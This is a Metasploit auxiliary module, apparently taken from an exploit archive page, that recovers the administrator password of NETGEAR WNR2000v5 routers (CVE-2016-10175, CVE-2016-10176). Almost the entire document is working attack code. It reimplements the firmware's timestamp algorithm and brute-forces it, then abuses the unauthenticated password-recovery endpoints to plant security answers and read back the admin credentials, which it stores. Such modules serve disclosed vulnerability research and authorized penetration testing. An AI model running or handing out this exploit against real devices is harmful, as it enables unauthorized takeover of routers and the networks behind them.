## https://sploitus.com/exploit?id=PACKETSTORM:180842
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'time'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::CRand
def initialize(info = {})
super(
update_info(
info,
'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',
'Description' => %q{
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
This vulnerability can be exploited by an unauthenticated attacker who is able to guess
the value of a certain timestamp which is in the configuration of the router.
Brute forcing the timestamp token might take a few minutes, a few hours, or days, but
it is guaranteed that it can be bruteforced.
This module works very reliably and it has been tested with the WNR2000v5, firmware versions
1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this
has not been tested.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2016-10175'],
['CVE', '2016-10176'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
['URL', 'https://seclists.org/fulldisclosure/2016/Dec/72'],
['URL', 'https://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
],
'DisclosureDate' => '2016-12-20'
)
)
register_options(
[
Opt::RPORT(80)
]
)
register_advanced_options(
[
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200])
]
)
end
def get_current_time
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res['Date']
date = res['Date']
return Time.parse(date).strftime('%s').to_i
end
end
# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round(number)
[number].pack('f').unpack('f*')[0].to_i
end
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df
hi = (t0 * t1) >> 32
t2 = t0 >> 31
t3 = hi >> 23
t3 -= t2
t4 = t3 * 0x55d4a80
t0 -= t4
t0 += 0x989680
ieee754_round(t0)
end
def get_creds
res = send_request_cgi({
'uri' => '/BRS_netgear_success.html',
'method' => 'GET'
})
if res && res.body =~ /var sn="(\w*)";/
serial = ::Regexp.last_match(1)
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...")
end
# 1: send serial number
send_request_cgi({
'uri' => '/apply_noauth.cgi',
'query' => '/unauth.cgi',
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'vars_post' =>
{
'submit_flag' => 'match_sn',
'serial_num' => serial,
'continue' => '+Continue+'
}
})
# 2: send answer to secret questions
send_request_cgi({
'uri' => '/apply_noauth.cgi',
'query' => '/securityquestions.cgi',
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'vars_post' =>
{
'submit_flag' => 'security_question',
'answer1' => @q1,
'answer2' => @q2,
'continue' => '+Continue+'
}
})
# 3: PROFIT!!!
res = send_request_cgi({
'uri' => '/passwordrecovered.cgi',
'method' => 'GET'
})
if res && res.body =~ %r{Admin Password: (.*)</TD>}
password = ::Regexp.last_match(1)
if password.blank?
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?")
end
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
end
if res && res.body =~ %r{Admin Username: (.*)</TD>}
username = ::Regexp.last_match(1)
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
end
return [username, password]
end
def send_req(timestamp)
query_str = (if timestamp.nil?
'/PWD_password.htm'
else
"/PWD_password.htm%20timestamp=#{timestamp}"
end)
res = send_request_raw({
'uri' => '/apply_noauth.cgi',
'query' => query_str,
'method' => 'POST',
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"
})
return res
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
return
end
def run
# generate the security questions
@q1 = Rex::Text.rand_text_alpha(rand(2..21))
@q2 = Rex::Text.rand_text_alpha(rand(2..21))
# let's try without timestamp first (the timestamp only gets set if the user visited the page before)
print_status("#{peer} - Trying the easy way out first")
res = send_req(nil)
if res && res.code == 200
credentials = get_creds
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
return
end
# no result? let's just go on and bruteforce the timestamp
print_error("#{peer} - Well that didn't work... let's do it the hard way.")
# get the current date from the router and parse it
end_time = get_current_time
if end_time.nil?
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
end
if end_time <= datastore['TIME_OFFSET']
start_time = 0
else
start_time = end_time - datastore['TIME_OFFSET']
end
end_time += datastore['TIME_SURPLUS']
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
end
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
# work back from the current router time minus datastore['TIME_OFFSET']
loop do
for time in end_time.downto(start_time)
timestamp = get_timestamp(time)
sleep 0.1
if time % 400 == 0
print_status("#{peer} - Still working, trying time #{time}")
end
res = send_req(timestamp)
next unless res && res.code == 200
credentials = get_creds
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
store_valid_credential(user: credentials[0], private: credentials[1]) # more consistent service_name and protocol, now supplies ip and port
return
end
end_time = start_time
start_time -= datastore['TIME_OFFSET']
if start_time < 0
if end_time <= datastore['TIME_OFFSET']
fail_with(Failure::Unknown, "#{peer} - Exploit failed")
end
start_time = 0
end
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
# let the router clear the buffers a bit...
sleep 30
end
end
end